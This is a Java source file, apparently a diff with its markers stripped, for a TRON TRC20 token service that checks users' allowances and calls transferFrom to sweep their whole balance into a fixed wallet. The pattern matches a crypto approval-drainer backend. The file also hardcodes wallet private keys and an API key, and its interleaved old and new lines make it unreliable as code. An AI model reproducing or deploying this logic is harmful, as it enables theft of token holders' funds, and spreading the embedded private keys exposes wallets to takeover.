| | |
| | | * @author |
| | | * @date 2022-03-21 |
| | | **/ |
| | | public class TrxService { |
| | | public class TrxService implements ContractChainService { |
| | | |
| | | // private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; |
| | | // private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; |
| | | |
| | | private final static String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; |
| | | private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb"; |
| | | |
| | | private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; |
| | | private final String ADDRESS; |
| | | // private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; |
| | | // private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb"; |
| | | // |
| | | // private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | // private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; |
| | | |
| | | private Trc20Contract contract = null; |
| | | |
| | | public static TrxService INSTANCE = new TrxService(); |
| | | // public static TrxService INSTANCE = new TrxService(); |
| | | |
| | | public TrxService() { |
| | | ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY); |
| | | // public TrxService() { |
| | | // ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY); |
| | | // |
| | | // Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS); |
| | | // contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); |
| | | // } |
| | | |
| | | Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS); |
| | | contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); |
| | | public TrxService(String address, String privateKey, String contractAddress, String apiKey) { |
| | | this.ADDRESS = address; |
| | | ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey); |
| | | |
| | | Contract trc20Contract = wrapper.getContract(contractAddress); |
| | | contract = new Trc20Contract(trc20Contract, address, wrapper); |
| | | } |
| | | |
| | | @Override |
| | | public BigInteger allowance(String owner) { |
| | | return contract.allowance(owner, ADDRESS); |
| | | } |
| | | |
| | | public BigInteger balanceOf(String address) { |
| | | @Override |
| | | public boolean isAllowance(String address) { |
| | | return allowance(address).intValue() != 0; |
| | | } |
| | | |
| | | @Override |
| | | public BigInteger balanceOfUnDecimal(String address) { |
| | | return contract.balanceOf(address); |
| | | } |
| | | |
| | | public BigDecimal balanceOfDecimal(String address) { |
| | | BigInteger chainData = balanceOf(address); |
| | | @Override |
| | | public BigDecimal balanceOf(String address) { |
| | | BigInteger chainData = balanceOfUnDecimal(address); |
| | | |
| | | BigInteger decimals = contract.decimals(); |
| | | BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); |
| | |
| | | return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN); |
| | | } |
| | | |
| | | public void transfer(String address) { |
| | | BigInteger balance = balanceOf(address); |
| | | |
| | | contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); |
| | | @Override |
| | | public int decimals() { |
| | | return 0; |
| | | } |
| | | |
| | | @Override |
| | | public String transfer(String address) { |
| | | BigInteger balance = balanceOfUnDecimal(address); |
| | | |
| | | return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | |
| | | @Override |
| | | public String transfer(String address, BigDecimal amount) { |
| | | BigInteger decimals = contract.decimals(); |
| | | BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); |
| | |
| | | return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | |
| | | @Override |
| | | public int allowanceCnt(String address) { |
| | | return 0; |
| | | } |
| | | |
| | | public static void main(String[] args) { |
| | | System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; |
| | | // System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; |
| | | } |
| | | } |